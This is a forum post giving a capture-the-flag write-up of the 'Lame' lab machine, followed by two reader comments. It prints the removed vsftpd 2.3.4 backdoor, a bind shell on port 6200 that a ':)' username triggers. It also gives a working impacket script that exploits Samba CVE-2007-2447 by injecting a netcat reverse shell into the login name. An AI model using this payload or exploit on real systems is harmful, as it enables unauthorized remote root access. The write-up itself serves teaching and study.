Through the looking glass: LAME

Hey everybody, welcome to my first post on 0x00sec and hopefully the first of many in this Through The Looking Glass series.

The Purpose

A lot of Writeups are very straightforward, you nmap the server, you find the vulnerable service. You searchsploit ‘vulnerable service and version’, you load the appropriate msf-module and flags are raining across the screen.

I wanted to have a better look at how these exploits work, and how we can find and create exploits just by looking at patches and the like.

For advanced CTF’ers and Pwners this won’t be anything new, it might not be new if you’ve read vulnerability analysis, but I hope it can be a good resource for new people who are interested in how this stuff all comes together. ( And it’s a good way to try and force myself to contribute :slight_smile: )

With that out of the way,…

Enter LAME (vsftpd 2.3.4 backdoor and CVE-2007-2447)

I wanted to start bigger, and not use vulnerability scanners.
Because of this, I started out with my nmap portscan, and just began my journey on the lowest port.

21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

vsftpd 2.3.4 and vsf_sysutil_extra backdoor

Because the year is 2020 and news spreads fast, when I started my dumb approach of vsftpd, the term backdoor immediately got thrown in my face upon the first Google search.

It turns out that, at some point in time, someone had managed to build a backdoor into vsftpd.

Armed with this knowledge, I found a blog post by the maintainer of vsftpd that contained a link to pastebin, where a diff was shown from after the backdoor was removed (longer code ahead):

Full Patch
diff -ur vsftpd-2.3.4/str.c vsftpd-2.3.4.4players/str.c
--- vsftpd-2.3.4/str.c  2011-06-30 15:52:38.000000000 +0200
+++ vsftpd-2.3.4.4players/str.c 2008-12-17 06:54:16.000000000 +0100
@@ -569,11 +569,6 @@
{
       return 1;
}
-    else if((p_str->p_buf[i]==0x3a)
-    && (p_str->p_buf[i+1]==0x29))
-    {
-      vsf_sysutil_extra();
-    }
}
   return 0;
 }
Only in vsftpd-2.3.4: str.o
Only in vsftpd-2.3.4: strlist.o
diff -ur vsftpd-2.3.4/sysdeputil.c vsftpd-2.3.4.4players/sysdeputil.c
--- vsftpd-2.3.4/sysdeputil.c   2011-06-30 15:58:00.000000000 +0200
+++ vsftpd-2.3.4.4players/sysdeputil.c  2010-03-26 04:25:33.000000000 +0100
@@ -34,10 +34,7 @@
 /* For FreeBSD */
 #include <sys/param.h>
 #include <sys/uio.h>
-#include <netinet/in.h>
-#include <netdb.h>
-#include <string.h>
-#include <stdlib.h>
+
 #include <sys/prctl.h>
 #include <signal.h>
 
@@ -220,7 +217,7 @@
 static int s_proctitle_inited = 0;
 static char* s_p_proctitle = 0;
 #endif
-int vsf_sysutil_extra();
+
 #ifndef VSF_SYSDEP_HAVE_MAP_ANON
 #include <sys/types.h>
 #include <sys/stat.h>
@@ -843,30 +840,6 @@
}
 }
 
-int
-vsf_sysutil_extra(void)
-{
-  int fd, rfd;
-  struct sockaddr_in sa;
-  if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
-  exit(1);
-  memset(&sa, 0, sizeof(sa));
-  sa.sin_family = AF_INET;
-  sa.sin_port = htons(6200);
-  sa.sin_addr.s_addr = INADDR_ANY;
-  if((bind(fd,(struct sockaddr *)&sa,
-  sizeof(struct sockaddr))) < 0) exit(1);
-  if((listen(fd, 100)) == -1) exit(1);
-  for(;;)
-  {
-    rfd = accept(fd, 0, 0);
-    close(0); close(1); close(2);
-    dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
-    execl("/bin/sh","sh",(char *)0);
-  }
-}
-
-
 void
 vsf_sysutil_set_proctitle_prefix(const struct mystr* p_str)
 {

If you’ve ever programmed sockets in C, You immediately recognize the part where the TCP Server is being set up, if you don’t, Here’s a good read :slight_smile:

-  sa.sin_family = AF_INET;
-  sa.sin_port = htons(6200);
-  sa.sin_addr.s_addr = INADDR_ANY;
-  if((bind(fd,(struct sockaddr *)&sa,
-  sizeof(struct sockaddr))) < 0) exit(1);
-  if((listen(fd, 100)) == -1) exit(1);
-  for(;;)
-  {
-    rfd = accept(fd, 0, 0);
-    close(0); close(1); close(2);
-    dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
-    execl("/bin/sh","sh",(char *)0);

So a TCP Server is being set up on port 6200 in this function, and then it just accepts any connection and pipe’s everything from and to /bin/sh.

The other part shows us how we can trigger this function:

-    else if((p_str->p_buf[i]==0x3a)
-    && (p_str->p_buf[i+1]==0x29))
-    {
-      vsf_sysutil_extra();
-    }
}

We have this mysterious buffer called p_buf that’s a member of p_str, and if the i’d and i+1’d character respectively are 0x3a and 0x29, it runs the vsf_sysutil_extra() function, effectively setting up the backdoor on port 6200.

The snake quickly shows us what these bytes are:

>>> s = b'\x3a\x29'
>>> s.encode('utf-8')
':)'

Because I couldn’t find the original source code for vsftpd 2.3.4 that had this vulnerability, I later found out that one of the things that enters p_str’s p_buf, is the username.

So all we have to do to trigger the backdoor is enter a smileyface for the username, and the backdoor should spawn on 6200.

[email protected]:~/Documents/research$ ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:jarvis): :)
331 Please specify the password.
Password: (eehm wtf?)
530 Login incorrect.
Login failed.
ftp> exit
221 Goodbye.

So after 2 hours of trying to find the details of this vulnerability, finding an anticlimactic tcp bind backdoor, it turns out it’s anti-anticlimactically patched ! Seems like this box didn’t steal its name :smiley:

Samba 3.0.20

Because I didn’t have smbv1 enabled, my machine couldn’t properly communicate with the server’s smbd and I had no idea where to start with this approach.
I could just load every samba exploit into metasploit, and I’d probably find one that works, but that wont be interesting and I wont learn from that.

I later ran into this script, that uses the amazing impacket library to test for smbv1.

Lo and behold:

[email protected]:~/Tools$ python3 check_smb1.py 10.10.10.3
Attempting SMBv1 connection to 10.10.10.3...
Success!

Now that we know this, we ran smbclient from our smbv1 enabled machine and quickly found a correct version number: 3.0.20.
I started looking around CVEDetails and found this nice little CVE.

The MS-RPC functionality in smbd in Samba 3.0.0 through 3.0.25rc3 allows remote attackers to execute arbitrary commands via shell metacharacters involving the (1) SamrChangePassword function, when the “username map script” smb.conf option is enabled, and allows remote authenticated users to execute commands via shell metacharacters involving other MS-RPC functions in the (2) remote printer and (3) file share management.

It’s a very long shot, because it requires a non-default option to be turned on. But it’s a solid exploit and certainly worth a try from this point of view.

We find a patch for 3 vulnerabilities for version 3.0.24:

image

Which also has our CVE-2007-2447.
A link to the full patch is here if you want to read it, I’ll only include relevant parts below.

I downloaded the 3.0.24 source code, applied the patch and started a comparison in Meld (I don’t like reading raw patch notes, sue me).

A first indicator of a possible fix was here:

They added an option to the smbrun function to toggle sanitizing.
Does that mean stuff didn’t get sanitized before?

And that’s when we see it in all its glory:

What this means, is that if we have ANY saying over what’s in ‘cmd’, we might just have found our RCE.

I quickly grep the source files for uses of this smb function and notice something interesting:

Full Grep
[email protected]:~/Documents/research/samba-3.0.24/source$ grep -ir 'smbrun('
passdb/pdb_interface.c:         add_ret = smbrun(add_script,NULL);
passdb/pdb_interface.c: ret = smbrun(del_script,NULL);
passdb/pdb_tdb.c:       rename_ret = smbrun(rename_script, NULL);
passdb/pdb_ldap.c:      rc = smbrun(rename_script, NULL);
passdb/pdb_smbpasswd.c:         rename_ret = smbrun(rename_script, NULL);
printing/print_generic.c:       ret = smbrun(syscmd,outfd);
smbd/map_username.c:            ret = smbrun(command, &fd);
smbd/service.c:         ret = smbrun(cmd,NULL);
smbd/service.c:         ret = smbrun(cmd,NULL);
smbd/service.c:         smbrun(cmd,NULL);
smbd/service.c:         smbrun(cmd,NULL);
smbd/close.c:           ret = smbrun(fname,&tmp_fd);
smbd/lanman.c:          if ((res = smbrun(command, NULL)) != 0) {
smbd/message.c:         smbrun(s,NULL);
lib/smbrun.c:This is a utility function of smbrun().
lib/smbrun.c:int smbrun(const char *cmd, int *outfd)
nmbd/nmbd_winsserver.c: smbrun(command, NULL);
utils/net_rpc_samsync.c:                        add_ret = smbrun(add_script,NULL);
services/svc_rcinit.c:  ret = smbrun( command , &fd );
services/svc_rcinit.c:  ret = smbrun( command , &fd );
services/svc_rcinit.c:  ret = smbrun( command , &fd );
auth/auth_util.c:       ret = smbrun(add_script,NULL);
auth/auth_util.c:       if (smbrun(command, NULL) != 0) {
rpc_server/srv_srvsvc_nt.c:             if ( (ret = smbrun(command, NULL)) == 0 ) {
rpc_server/srv_srvsvc_nt.c:     if ( (ret = smbrun(command, NULL)) == 0 ) {
rpc_server/srv_srvsvc_nt.c:     if ( (ret = smbrun(command, NULL)) == 0 ) {
rpc_server/srv_spoolss_nt.c:    if ( (ret = smbrun(command, NULL)) == 0 ) {
rpc_server/srv_spoolss_nt.c:    ret = smbrun(command, &fd);
rpc_server/srv_spoolss_nt.c:    if ( (ret = smbrun(command, &fd)) == 0 ) {
rpc_server/srv_spoolss_nt.c:            ret = smbrun(command, &fd);
rpc_server/srv_reg_nt.c:        ret = smbrun( shutdown_script, NULL );
rpc_server/srv_reg_nt.c:        ret = smbrun( abort_shutdown_script, NULL );
groupdb/mapping.c:              ret = smbrun(add_script, &fd);
groupdb/mapping.c:              ret = smbrun(del_script,NULL);
groupdb/mapping.c:              ret = smbrun(add_script,NULL);
groupdb/mapping.c:              ret = smbrun(add_script,NULL);
groupdb/mapping.c:              ret = smbrun(del_script,NULL);

There’s this line:

smbd/map_username.c:            ret = smbrun(command, &fd);

CVEDetails clearly made note of the “username map script” being enabled in the config.
When reading the comments, we notice that’s pretty much gonna be all there’s to it:


This is the main function that should be called once on
any incoming or new username - in order to canonicalize the name.

So, if the script is enabled, on every incoming connection this command will be called?

And then we see how we might get our input into the cmd variable:

pstr_sprintf( command, "%s \"%s\"", cmd, user );
ret = smbrun(command, &fd);

This basically creates a string ‘some_command “user”’ and passes it to smbrun.
smbrun in turn, just execl’s this without sanitizing.

The exploit

We know this function takes a hardcoded or variable ‘map user’ command, and then appends our username to it, this makes its way to execl and gets piped into /bin/sh -c.

When adding backticks, (which are specifically filtered after the patch), you will execute the command inside those backticks before passing it to the outer command.

So what would happen if our username was Jimmyls ?

Our command string would become map_user_command “Jimmyls

So what if our map_user_command hypothetically is echo ?

[email protected]:~/Documents/research$ echo "Jimmy`ls`"
Jimmysamba-3.0.24
samba-3.0.24-patched
samba-3.0.24.tar.gz
samba.patch

I quickly grabbed the SMBv1 checker, and modified it to send a netcat reverse shell payload.

from impacket.smbconnection import SMBConnection, smb
import click
@click.command()
@click.argument('ip')
@click.argument('rev_shell_ip')
@click.argument('rev_shell_port')
def check_smbv1(ip, rev_shell_ip, rev_shell_port):
    click.echo(f'Attempting SMBv1 connection to {ip}', nl=False)
    try:
        s = SMBConnection('*SMBSERVER', ip, preferredDialect=smb.SMB_DIALECT)
        if isinstance(s, SMBConnection):
            click.secho('Success!', fg='green')
            click.secho('Attempting to send PoC exploit payload...', fg='yellow')
            s.login(b'Jimmy`nc 10.10.14.30 4444 -e /bin/bash`', 'fakepass')
    except Exception as e:
        click.secho('Failed...', fg='red', nl=False)
        click.echo(e)
        return
if __name__ == '__main__':
    check_smbv1()

And the magic came all together:

Because SMBd was running as root, this was pretty much all there is to this machine.

I hoped you enjoyed reading, if you have questions or tips let me know, dont forget to <3 the post if you liked it, so I know I can do more of this basic stuff on here!

Ah, I allmost forgot the flags!

Summary

Get your own flags, lazy :laughing:

Thanks all,

Jarvis

6 Likes

The post looks good and as a person that mostly doesn’t do pentesting it was a fun read!

How ever I felt like you were more explaining it to yourself rather to everyone else, meaning that you mention patch notes, exploits and tools that you use but you never explain what they do and whats their use or give any background detail about whats going on. I would much more enjoy this write up if I could understand what are you doing and why exactly you are doing it and since its intended for beginners I was kinda expecting that

Overall you put a lot of effort into it and I enjoyed reading it and I do hope you make another post like this soon because I really like it when people try to think out side the box and make something of their own rather than create something that was seen on a simple google search a million times :smiley:

Thanks for the feedback, much appreciated and it will be put to good use! At some point your own routine becomes so normal you take a lot of it for granted.

I tried to zoom and focus more specifically on what happens when you enter ‘run’ in metasploit because I felt like the rest is mostly well represented in terms of documentation online.

I’ll try to include a bit more detail or information about my toolchain in the next post.

Glad you enjoyed it!